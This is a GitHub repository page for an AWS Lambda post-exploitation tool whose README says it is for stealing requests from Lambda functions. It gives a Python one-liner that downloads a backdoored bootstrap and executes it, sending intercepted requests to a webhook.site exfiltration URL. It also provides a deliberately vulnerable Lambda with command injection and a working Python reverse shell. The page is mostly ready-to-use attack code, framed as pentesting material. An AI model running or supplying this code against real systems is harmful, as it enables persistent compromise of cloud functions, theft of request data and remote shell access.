Skip to content

Portentum-V/lambda_bootstrap_switcher

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 

Repository files navigation

lambda_bootstrap_switcher

This projects is useful to steal request from lambda and is based on:

For more info check: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence

To perform this attack you need to find a RCE vulnerability inside a Lambda function, one you have taht you can load the malicious bootstrap from this repo executing:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request("GET", backdoored_bootstrap_url).data

# Load new bootstrap
os.environ["URL_EXFIL"] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Note how it"s possible to indicate in the env variable URL_EXFIL the URL where you want to receive the exfiltrated requests.

If you want to try it you can create a vulnerable Lambda with a code such as:

import json
import os
def lambda_handler(event, context):
    data = "hello"
    if event["queryStringParameters"].get("cmd"):
        data = os.popen(event["queryStringParameters"]["cmd"]).read()
    
    elif event["queryStringParameters"].get("ip") and event["queryStringParameters"].get("port"):
        rev_shell(event["queryStringParameters"]["ip"], int(event["queryStringParameters"]["port"]))
        data = "called rev shell"
    
    return {
        "statusCode": 200,
        "body": json.dumps(data)
    }

def rev_shell(ip, port):
    import socket
    import subprocess
    import os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,int(port)))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%